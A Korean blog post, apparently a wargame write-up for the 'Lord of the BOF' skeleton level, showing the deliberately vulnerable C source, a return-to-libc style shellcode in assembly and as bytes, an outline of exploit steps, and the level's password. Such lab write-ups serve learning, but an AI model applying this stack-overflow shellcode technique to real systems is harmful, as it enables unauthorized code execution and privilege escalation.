⊙ 문제의 소스를 보자) |
[vampire@localhost vampire]$ cat skeleton.c /* The Lord of the BOF : The Fellowship of the BOF - skeleton - argv hunter */ #include <stdio.h> #include <stdlib.h>
extern char **environ;
main(int argc, char *argv[]) { char buffer[40]; int i, saved_argc;
if(argc < 2){ printf("argv error\n"); exit(0); }
// egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); }
// check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); }
// argc saver saved_argc = argc;
strcpy(buffer, argv[1]); printf("%s\n", buffer);
// buffer hunter memset(buffer, 0, 40);
// ultra argv hunter! for(i=0; i<saved_argc; i++) memset(argv[i], 0, strlen(argv[i])); } |
1) 환경변수(Environment) 초기화.
|
※ Argument 배열이 전부 초기화 되었지만 스택 끝에 프로그램 이름 주소가 남아있다. |
♧ 이유는 모르겠지만 LEVEL8에 "\x2f"이 없는 쉘코드가 제대로 동작하지 않아 [Return-to-lib 기법을 이용한 쉘코드 생성]을 참조하여 쉘코드를 다시 만들었다. |
.global main main: push $0x400391e0 ;# exit movl $0x40058ae0, %eax ;# system push %eax ret |
"\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3"
|
∑ 익스플로잇 작성! | |||||
① 사본 생성
② GDB로 RET 주소 찾기.
③ 사본 삭제후 원본 심볼릭 링크 ④ 최종 익스플로잇 작성
⑤ ∑xploit
|
※ 사전에 chsh명령 -> bash2로 사전 변경후 재로그인 함.
vampire : "music world"
'워게임(WarGame) > BOF원정대(LOF)' 카테고리의 다른 글
[LEVEL12] golem -> darkknight (sfp) (1) | 2011.06.08 |
---|---|
[LEVEL11] skeleton -> golem (stack destroyer) (0) | 2011.06.08 |
[LEVEL9] troll -> vampire (check 0xbfff) (0) | 2011.06.05 |
[LEVEL8] orge -> troll (check argc) (0) | 2011.06.04 |
[LEVEL7] darkelf -> orge (check argv[0]) (0) | 2011.06.02 |